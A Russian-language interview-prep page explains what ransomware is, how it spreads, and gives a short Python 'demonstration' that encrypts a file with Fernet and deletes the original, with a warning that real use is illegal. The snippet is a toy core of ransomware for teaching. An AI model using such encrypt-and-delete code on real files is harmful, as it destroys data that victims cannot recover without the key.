Встречается на собеседованиях • сегодня

Что такое шифровальщик

Шифровальщик (ransomware) — это вредоносное ПО, которое шифрует файлы на компьютере жертвы и требует выкуп за их расшифровку. Обычно распространяется через фишинговые письма, уязвимости в ПО или заражённые сайты.

Пример простого шифровальщика на Python (упрощённый вариант, только для демонстрации):

python
from cryptography.fernet import Fernet
import os

# Генерация ключа
key = Fernet.generate_key()
cipher = Fernet(key)

# Шифрование файла
def encrypt_file(filepath):
    with open(filepath, 'rb') as f:
        data = f.read()
    encrypted = cipher.encrypt(data)
    with open(filepath + '.encrypted', 'wb') as f:
        f.write(encrypted)
    os.remove(filepath)

# Пример использования
encrypt_file('important_document.txt')

Важно: создание и использование шифровальщиков в реальной жизни незаконно! Это пример только для образовательных целей.

Sophi
Софи собрала все вопросы. Тренируйся и получай
офферы быстрее!
Попробовать бесплатноArrow

Следующий вопрос

Это единственный вопрос по вашему фильтру

как отвечать на вопрос
пример собеседования
фреймворки на собеседовании
типичные вопросы junior
интервью вопросы и ответы